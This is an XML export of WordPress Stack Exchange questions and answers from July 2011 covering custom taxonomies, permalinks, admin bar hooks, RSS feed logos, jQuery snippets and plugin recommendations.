  <row Id="23613" PostTypeId="2" ParentId="23593" CreationDate="2011-07-21T04:58:39.050" Score="0" ViewCount="" Body="&lt;p&gt;You might be able to hack a conditional for 1 shortcode but it seems wonky. Typically you use 2 parameters just like you were using raw html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a smart way around this using custom fields ( which I just happened to do recently).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does not use any shortcodes at all, the logic is simple it has a custom fields called &quot;tab 1, tab 2, tab 3 , etc&quot; , if no data is entered no tab panels shows up, if there is data in the tab field the panels shows up and dynamically adds tabs per field that is filled out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just use jquery tools for the tab panel and default WordPress conditionals for the meta fields, &lt;code&gt;get_post_custom_values&lt;/code&gt; specifically.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-07-21T05:06:20.357" LastActivityDate="2011-07-21T05:06:20.357" />
  <row Id="23614" PostTypeId="2" ParentId="23606" CreationDate="2011-07-21T05:11:35.083" Score="1" ViewCount="" Body="&lt;p&gt;Can try this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = get_the_terms ($post-&amp;gt;id, 'skills');&#xA;if ( !is_wp_error($terms)) : ?&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;    foreach ($terms as $term) {&#xA;        $skills_links[] = $term-&amp;gt;name;&#xA;        }&#xA;&#xA;    $skills_yo = join(&quot;, &quot;, $skills_links);&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;span&amp;gt;&amp;lt;?php echo $skills_yo; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-07-21T14:54:40.683" LastActivityDate="2011-07-21T14:54:40.683" CommentCount="4" />
  <row Id="23615" PostTypeId="2" ParentId="20913" CreationDate="2011-07-21T06:16:21.247" Score="4" ViewCount="" Body="&lt;p&gt;Okay, I feel stupid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I needed to translate %postname%.  I thought it did so automatically since the admin page looked like it had but apparently if you do use custom permastructs, you have to translate even the default tags.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution: add this to my post_type_link filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post = get_post($post_id);&#xA;$permalink =  str_replace('%postname%', $post-&amp;gt;post_name, $permalink);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Problem solved.&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-07-21T06:16:21.247" />
  <row Id="23617" PostTypeId="1" CreationDate="2011-07-21T07:01:54.347" Score="0" ViewCount="19" Body="&lt;p&gt;I'm looking for a plugin that will enable me to create a &quot;Test Yourself&quot; test.&#xA;What I mean is a test with a set of multiple-answer questions, that have a Submit button at the end, which calculates the answers the user chose (there is no right or wrong answer for a question, just a score for each possible answer), and according to the summed score – shows feedback.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://psychologytoday.psychtests.com/cgi-bin/health/transfer_health.cgi?partner=pt&amp;amp;test=attention&quot; rel=&quot;nofollow&quot;&gt;Example of test yourself&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-07-21T07:01:54.347" Title="&quot;Test Yourself&quot; plugin" Tags="&lt;plugin-recommendation&gt;" />
  <row Id="23618" PostTypeId="1" AcceptedAnswerId="23937" CreationDate="2011-07-21T07:13:21.010" Score="0" ViewCount="51" Body="&lt;p&gt;i need to integrate facebook like button with some of additional features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;those are..&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;every article/post has a 'Like' button (so that using this, when someone clicks 'Like' it'll appear in their Facebook news feed and add them to my Facebook page count direct from within my site) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;please help me to get all these features with like button. is there any plugin done? or how to achieve from code?&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-07-24T21:25:02.983" Title="Facebook like plugin with Multi Option-Needed" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;facebook&gt;&lt;plug&gt;" AnswerCount="3" />
  <row Id="23619" PostTypeId="1" CreationDate="2011-07-21T07:18:37.107" Score="0" ViewCount="16" Body="&lt;p&gt;I have migrated my wordpress(with network sites enabled) to another domain, changed domain in wp-config.php and change the domain column for the only blog in wp_blogs table in db to the new domain. Problem is i don't see Network Menu anymore when i click my username.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i delete everything else besides:&#xA;&lt;code&gt;define('WP_ALLOW_MULTISITE', true);&lt;/code&gt;&#xA;and click on network setup, it says that the network is already setup, still i repaste the shown instructions in wp-config.php[after deleting previous] and .htaccess, but no use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS:&#xA;I also changed my username from &quot;a&quot; to webmaster in db during the process, changed it everywhere.&lt;/p&gt;&#xA;" OwnerUserId="7197" LastActivityDate="2011-08-23T11:03:58.030" Title="Migrating Multisite setup to a different domain" Tags="&lt;multisite&gt;&lt;migration&gt;" AnswerCount="1" />
  <row Id="23620" PostTypeId="1" CreationDate="2011-07-21T07:41:28.697" Score="0" ViewCount="12" Body="&lt;p&gt;I'm fairly new to WP and have been trying out (with some success) Custom Post Types and Custom Taxonomies for building a portfolio site. But I had to change how my posts were &quot;tagged&quot;. Here's the set up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Originally, 4 CPTs (Designs, Illustrations, Paintings and Prints) and 1 custom tax called &quot;Portfolio Type&quot; that was shared by all of them. This would allow me to specify terms like posters, logos, ads, etc. I then updated functions.php so that each CPT could have custom columns to display these terms. Everything worked great until I realized I had to change things around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still the same 4 CPTs but now each has its own custom taxonomy (Design Types, Illustration Types, etc.). I did this so that terms like ads and posters wouldn't appear under Illustration since they didn’t apply and made things confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that change, things are still working as they should except the custom columns for all but one CPT won’t display the terms associated with each post. I can still add and manage them, tag posts with them but they just won’t display, as shown here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dl.dropbox.com/u/1693754/cpts.jpg&quot; rel=&quot;nofollow&quot;&gt;http://dl.dropbox.com/u/1693754/cpts.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I already had a tonne of content tagged, I didn’t want to go back through the 100s of posts and re-tag everything. Instead, I backed up the database and jumped in to see how things were set up. In the wp_term_taxonomy table, I manually changed the taxonomy names to match up with the new custom taxonomies. That is to say, everything used to be under “portfolio_type”, now there’s a mix of 4 different types, as you can see here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dl.dropbox.com/u/1693754/taxonomies.jpg&quot; rel=&quot;nofollow&quot;&gt;http://dl.dropbox.com/u/1693754/taxonomies.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another place in the database where I need to adjust some sort of taxonomy/term relationship? I’ve searched but I can’t find anything obvious.&lt;/p&gt;&#xA;" OwnerUserId="7198" LastActivityDate="2011-07-21T07:41:28.697" Title="Custom Columns are blank, not displaying custom taxonomy's terms" Tags="&lt;posts&gt;&lt;customization&gt;&lt;taxonomy&gt;&lt;columns&gt;" />
  <row Id="23621" PostTypeId="2" ParentId="23195" CreationDate="2011-07-21T07:50:10.227" Score="0" ViewCount="" Body="&lt;p&gt;Thanks a lot guys! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andrew's solution worked perfectly for me! I'm working on a project where in we have a custom search on the custom posts and comments using a lot of post meta and comment meta. I spent 2 days on add_rewrite_tag and add_permastruct, then found this solution!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have a question, the urls thus formed (eg. if i search for /search/players/type/pro/game/soccer/age/23), will they be indexed? Cause we are looking for a way to index our search urls... please guide me...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help in advance!&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-07-21T07:50:10.227" />
  <row Id="23623" PostTypeId="1" CreationDate="2011-07-21T08:12:49.327" Score="1" ViewCount="40" Body="&lt;p&gt;There are a lot of plugins that color code. But most java developers work with Eclipse and Eclipse has a very specific way of coloring code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin that colors code exactly the same way Eclipse does?&lt;/p&gt;&#xA;" OwnerUserId="7200" LastActivityDate="2011-08-05T17:40:07.770" Title="Color java code the way it is colored in eclipse" Tags="&lt;plugins&gt;&lt;eclipse&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="23624" PostTypeId="1" AcceptedAnswerId="23634" CreationDate="2011-07-21T08:16:23.673" Score="0" ViewCount="28" Body="&lt;p&gt;If your common with the code that wp_nav_menu function generates. You should know what im asking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to add an indicator like a plus sign or an arrow to indicate that this menu-item has a sub-menu. I cant find a class or id that would allow me to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im guessing ill need a plugin for this? BUT I need some opinion first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks..&lt;/p&gt;&#xA;" OwnerUserId="7201" LastActivityDate="2011-08-21T06:32:56.667" Title="How do I add an indicator to my .menu-item if it contains a .sub-menu?" Tags="&lt;css&gt;&lt;navigation&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="23625" PostTypeId="1" CreationDate="2011-07-21T08:21:36.610" Score="0" ViewCount="18" Body="&lt;p&gt;I'm looking for a simple slide plugin that can call a gallery by its ID. So for example, I have a gallery set up called &quot;My Photos&quot; and its ID is 27. Ideally, I'd be able to enter 27 into the plugin settings and it would automatically slide the pictures from that gallery. Does such a plugin exist?&lt;/p&gt;&#xA;" OwnerUserId="7202" LastActivityDate="2011-07-21T08:21:36.610" Title="Slide plugins that can call certain galleries from WordPress?" Tags="&lt;plugins&gt;&lt;gallery&gt;" />
  <row Id="23626" PostTypeId="2" ParentId="23603" CreationDate="2011-07-21T09:00:11.140" Score="0" ViewCount="" Body="&lt;p&gt;you can do this very easily with jQuery&lt;/p&gt;&#xA;&#xA;&lt;p&gt;simply wrap your comment form in a div and hide, add a button or a link and on his click event show the comment form so smoothing like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#&quot; ID=&quot;Leave_a_comment&quot;&amp;gt;Leave a Comment&amp;lt;/a&amp;gt;&#xA;&amp;lt;div id=&quot;comment_form_wrapper&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;    &amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function() {&#xA;        $('#Leave_a_comment').click(function() {&#xA;            $('#comment_form_wrapper').show();&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-21T09:00:11.140" CommentCount="4" />
  <row Id="23627" PostTypeId="2" ParentId="23607" CreationDate="2011-07-21T09:04:10.653" Score="1" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_term_link&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;get_term_link();&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt; for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = wp_get_post_terms( $post-&amp;gt;ID, 'category');&#xA;echo '&amp;lt;ul&amp;gt;';&#xA;foreach ($terms as $term) {&#xA;    echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.get_term_link($term-&amp;gt;slug, 'category').'&quot;&amp;gt;'.$term-&amp;gt;name.'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;}&#xA;echo '&amp;lt;/ul&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-21T09:04:10.653" />
  <row Id="23628" PostTypeId="1" CreationDate="2011-07-21T09:06:35.303" Score="0" ViewCount="8" Body="&lt;p&gt;I have a specific problem with some user submitted textarea fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My users can publish posts and they input lists of items into a textarea custom field on the WP backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front, I show a list of all user posts (displaying the content of these textareas)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens sometimes, is that the users doesn't write lists properly, and instead of :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;item1&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;item2&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;item3&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What they inputs is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;item1&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;item2&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;item3&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, the fact that the list is not properly structured (&lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;/ul&amp;gt;&lt;/code&gt; missing) breaks up the layout on the front of the site, as the post is itself displayed in a list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way of assuring that any submitted list element in the editor is properly formatted ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually the same problem would occur with any tag, ie. a closing &lt;code&gt;&amp;lt;/div&amp;gt;&lt;/code&gt; etc.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-21T09:06:35.303" Title="Validtion of user submitted HTML lists in custom field textarea" Tags="&lt;users&gt;&lt;list&gt;&lt;formatting&gt;&lt;validation&gt;" />
  <row Id="23629" PostTypeId="2" ParentId="23453" CreationDate="2011-07-21T09:09:21.837" Score="1" ViewCount="" Body="&lt;p&gt;Just launching the function at an earlier point solved the issue&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function block_admin(){&#xA;    $show = get_option('admin_bar_');&#xA;    $show = $show['admin_bar_toggle'];&#xA;    fb::log($show,'shoe');&#xA;    if (!$show || $show != 'on'){&#xA;        add_filter( 'show_admin_bar', '__return_false' );&#xA;        remove_action( 'personal_options', '_admin_bar_preferences' );&#xA;    } &#xA;}&#xA;add_action('after_setup_theme','block_admin');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="784" LastEditorUserId="784" LastEditorDisplayName="" LastEditDate="2011-07-21T13:51:09.473" LastActivityDate="2011-07-21T13:51:09.473" />
  <row Id="23630" PostTypeId="2" ParentId="23609" CreationDate="2011-07-21T09:09:55.533" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/wpmu-global-search/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WPMU Global Search&lt;/strong&gt;&lt;/a&gt; plugin which can easily search through all blogs into your WordPress MU posts by post title, post content or post author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and if you are not looking for a plugin then just take a look at the code and see how it's done.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-21T09:09:55.533" CommentCount="3" />
  <row Id="23631" PostTypeId="1" AcceptedAnswerId="23641" CreationDate="2011-07-21T09:13:08.933" Score="0" ViewCount="34" Body="&lt;p&gt;After the solution to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/23453/problems-with-removing-admin-bar/23629#23629&quot;&gt;this question&lt;/a&gt; was to get a function to launch BEFORE the &lt;code&gt;init&lt;/code&gt; action is fired by taking the sequence out of its function, it got me thinking, is there any earlier in the WP load sequence that I can hook a function into?&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-07-21T10:08:01.257" Title="What is the very earliest action hook you can call?" Tags="&lt;filters&gt;&lt;actions&gt;&lt;add-action&gt;&lt;wp-load.php&gt;&lt;init&gt;" AnswerCount="1" />
  <row Id="23632" PostTypeId="2" ParentId="23618" CreationDate="2011-07-21T09:13:34.457" Score="1" ViewCount="" Body="&lt;p&gt;That's not how the like button works.you like a post then the count goes for that posts, if you you want someone to be counted in your FaceBook page they need to like that FaceBook page as well.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-21T09:13:34.457" CommentCount="6" />
  <row Id="23634" PostTypeId="2" ParentId="23624" CreationDate="2011-07-21T09:19:22.690" Score="0" ViewCount="" Body="&lt;p&gt;I would do this with JS I'm afraid. It's the quickest simplest form. Using jQuery I have this snippet.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function($){&#xA;   $('.menu li:has(&quot;.sub-menu&quot;)').addClass('has-sub-menu');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use CSS to do what you need :)&lt;/p&gt;&#xA;" OwnerUserId="2264" LastEditorUserId="2264" LastEditorDisplayName="" LastEditDate="2011-07-21T09:26:36.697" LastActivityDate="2011-07-21T09:26:36.697" CommentCount="1" />
  <row Id="23635" PostTypeId="1" AcceptedAnswerId="23644" CreationDate="2011-07-21T09:28:48.747" Score="0" ViewCount="21" Body="&lt;p&gt;I came across this function to add image to rss feed. However, I keep getting lots of syntax errors.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Add RSS Logo */&#xA;&#xA;function addRssImage() {&#xA;  echo &quot;&amp;lt;image&amp;gt;&#xA;    &amp;lt;title&amp;gt;My Title&amp;lt;/title&amp;gt;&#xA;    &amp;lt;url&amp;gt;&quot; . get_bloginfo('template_directory') . &quot;/images/logo.png&amp;lt;/url&amp;gt;&#xA;    &amp;lt;link&amp;gt;&quot; . get_bloginfo('url') .&quot;&amp;lt;/link&amp;gt;&#xA;    &amp;lt;width&amp;gt;300&amp;lt;/width&amp;gt;&#xA;    &amp;lt;height&amp;gt;60&amp;lt;/height&amp;gt;&#xA;    &amp;lt;description&amp;gt;MyDomain.com&amp;lt;/description&amp;gt;&#xA;    &amp;lt;/image&amp;gt;&quot;;&#xA;add_action('rss2_head', 'addRssImage');&#xA;/* End RSS Logo */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-07-21T10:31:32.740" Title="How to add logo to rss feed" Tags="&lt;rss&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23636" PostTypeId="2" ParentId="23623" CreationDate="2011-07-21T09:33:08.433" Score="1" ViewCount="" Body="&lt;p&gt;The majority of the Syntax Highlight plugins work in a way that they create divs,spans with classes styled by css and you can simply overwrite that style with your  own css to match the eclipse colors.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;turns out someone has done the job for you, take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/syntaxhighlighter/&quot; rel=&quot;nofollow&quot;&gt;SyntaxHighlighter Evolved&lt;/a&gt; which has an eclipse theme.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-05T17:40:07.770" LastActivityDate="2011-08-05T17:40:07.770" CommentCount="8" />
  <row Id="23637" PostTypeId="1" CreationDate="2011-07-21T09:33:45.890" Score="0" ViewCount="74" Body="&lt;p&gt;I wish to add the Piecemaker 3D rotator to Wordpress theme TwentyEleven In Header and NOT as a POST or Page. Via Wordpress Plugin: Piecemaker 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps:&#xA; 1. Piecemaker Created with Assets&#xA; 2. Tested on POST/PAGE. Getting displayed correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How to display it in Header instead Of the TwentyEleven images&#xA;(Header script removed)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What should i do to display the Piecemaker in Header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Adding below code in Functions.php Source: Support forums&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Function to use piece maker outside post content&#xA; *&#xA; **/&#xA;function display_piecemaker($att = null){&#xA;global $pm;&#xA;&#xA;if(!is_array($att)){&#xA;    $att = array(&#xA;        'id' =&amp;gt; $att,&#xA;    );&#xA;}&#xA;&#xA;     echo $pm-&amp;gt;replaceBooks($att);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Calling the function in theme file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if( is_home() ) {&#xA;display_piecemaker(array('id' =&amp;gt; 1));&#xA;}?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note: I am beginner with PHP.&lt;/p&gt;&#xA;" OwnerUserId="7203" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-07-21T10:17:31.103" LastActivityDate="2011-08-21T19:33:03.870" Title="Add Piecemaker to Wordpress Header" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="23638" PostTypeId="2" ParentId="23618" CreationDate="2011-07-21T09:42:25.727" Score="-3" ViewCount="" Body="&lt;p&gt;If you add any Like/ Social plugin you can add buttons for Facebook-Like, Twitter-Tweet. LinkedIn-Share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When ANY visitor likes, shares, tweets the page/post. The count is added dynamically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Likes and Shares are posted on their Facebook Profile also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 of many plugins with this feature: &lt;a href=&quot;http://wordpress.org/extend/plugins/facebook-like/screenshots/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/facebook-like/screenshots/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7203" LastActivityDate="2011-07-21T09:42:25.727" />
  <row Id="23639" PostTypeId="2" ParentId="23609" CreationDate="2011-07-21T09:44:12.430" Score="1" ViewCount="" Body="&lt;p&gt;The best approach is to create a &quot;must-use&quot; plugin that gathers post data when a post is submitted on any blog, and store it into a custom database table on the primary blog (and eventually delete it when a post is deleted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example hook a function on &lt;code&gt;save_post&lt;/code&gt; that gets the post permalink, title, content or tags, number of comments, blog id, post id and stores them into a row of your custom table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When someone does a search you pull out information from this table, instead of querying dozens of blogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use plugins like the one mentioned above, but these are not very good for larger sites. For example, I get around 10K queries using 1GB memory with &quot;multisite-global-search&quot; and that's just for a setup of 20 blogs with ~3000 posts. Needles to say it took 30 seconds to complete...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-07-21T09:44:12.430" CommentCount="1" />
  <row Id="23641" PostTypeId="2" ParentId="23631" CreationDate="2011-07-21T10:08:01.257" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;muplugins_loaded&lt;/code&gt; is the very earliest:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Action_Reference&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(via: &lt;a href=&quot;http://stackoverflow.com/questions/2535994/sequential-order-of-wordpress-hooks&quot;&gt;http://stackoverflow.com/questions/2535994/sequential-order-of-wordpress-hooks&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="7089" LastActivityDate="2011-07-21T10:08:01.257" CommentCount="1" />
  <row Id="23642" PostTypeId="2" ParentId="23453" CreationDate="2011-07-21T10:11:13.470" Score="1" ViewCount="" Body="&lt;p&gt;There is already an per-user-option to disable the admin-bar in the latest Wordpress versions. It can be found in the user profile settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;…/wp-admin/profile.php (click on your name after logging in)&lt;/p&gt;&#xA;" OwnerUserId="7089" LastActivityDate="2011-07-21T10:11:13.470" CommentCount="3" />
  <row Id="23643" PostTypeId="2" ParentId="23637" CreationDate="2011-07-21T10:25:52.043" Score="0" ViewCount="" Body="&lt;p&gt;I've managed to get this working in the passed using the shortcode&#xA;place this in your header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode('[piecemaker id=&quot;1&quot;]'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-21T10:25:52.043" />
  <row Id="23644" PostTypeId="2" ParentId="23635" CreationDate="2011-07-21T10:31:32.740" Score="2" ViewCount="" Body="&lt;p&gt;The code you posted is missing an ending &lt;code&gt;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a fixed and tested version of that code, so if you still get errors they are coming from another place&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function addRssImage() {&#xA;  echo &quot;&amp;lt;image&amp;gt;&#xA;    &amp;lt;title&amp;gt;My Title&amp;lt;/title&amp;gt;&#xA;    &amp;lt;url&amp;gt;&quot; . get_bloginfo('template_directory') . &quot;/images/logo.png&amp;lt;/url&amp;gt;&#xA;    &amp;lt;link&amp;gt;&quot; . get_bloginfo('url') .&quot;&amp;lt;/link&amp;gt;&#xA;    &amp;lt;width&amp;gt;300&amp;lt;/width&amp;gt;&#xA;    &amp;lt;height&amp;gt;60&amp;lt;/height&amp;gt;&#xA;    &amp;lt;description&amp;gt;MyDomain.com&amp;lt;/description&amp;gt;&#xA;    &amp;lt;/image&amp;gt;&quot;;&#xA;}&#xA;add_action('rss2_head', 'addRssImage');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-21T10:31:32.740" CommentCount="1" />
  <row Id="23645" PostTypeId="2" ParentId="23005" CreationDate="2011-07-21T10:43:37.657" Score="0" ViewCount="" Body="&lt;p&gt;Check the plugin settings and make sure 'Use Pretty URLs' is set to on. This fixed the issue for me.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2011-07-21T10:43:37.657" />
  <row Id="23646" PostTypeId="2" ParentId="23453" CreationDate="2011-07-21T11:06:42.780" Score="1" ViewCount="" Body="&lt;p&gt;Had you tried &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/show_admin_bar&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;show_admin_bar(false)&lt;/code&gt;&lt;/a&gt;? From quick look at code is should kill admin bar and it is safe to run very early (on load actually).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-21T11:06:42.780" />
  <row Id="23647" PostTypeId="1" AcceptedAnswerId="23650" CreationDate="2011-07-21T11:17:18.843" Score="0" ViewCount="31" Body="&lt;p&gt;I want to hide my WordPress site (or any website) from the world and only allow certain users to enter. What's the best way of doing this without setting up user accounts and passwords? Or perhaps more precise, what's the maximum protection I can get without using accounts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, I've chosen to block search engines under settings-&gt;privacy already. But I've thought about blocking people from linking directly to images and files, how can that be done? Is it by putting all the uploads (files/images) in a hidden folder somewhere outside of the WP structure? How do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1936" LastActivityDate="2011-07-21T11:41:05.280" Title="Maximum protection without using password/login" Tags="&lt;privacy&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="23648" PostTypeId="2" ParentId="23453" CreationDate="2011-07-21T11:31:08.470" Score="0" ViewCount="" Body="&lt;p&gt;Not sure that matches you req.&#xA;But here is plugin to toogle admin bar on off globaly. Why not have a look :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/global-admin-bar-hide-or-remove/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/global-admin-bar-hide-or-remove/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6961" LastActivityDate="2011-07-21T11:31:08.470" />
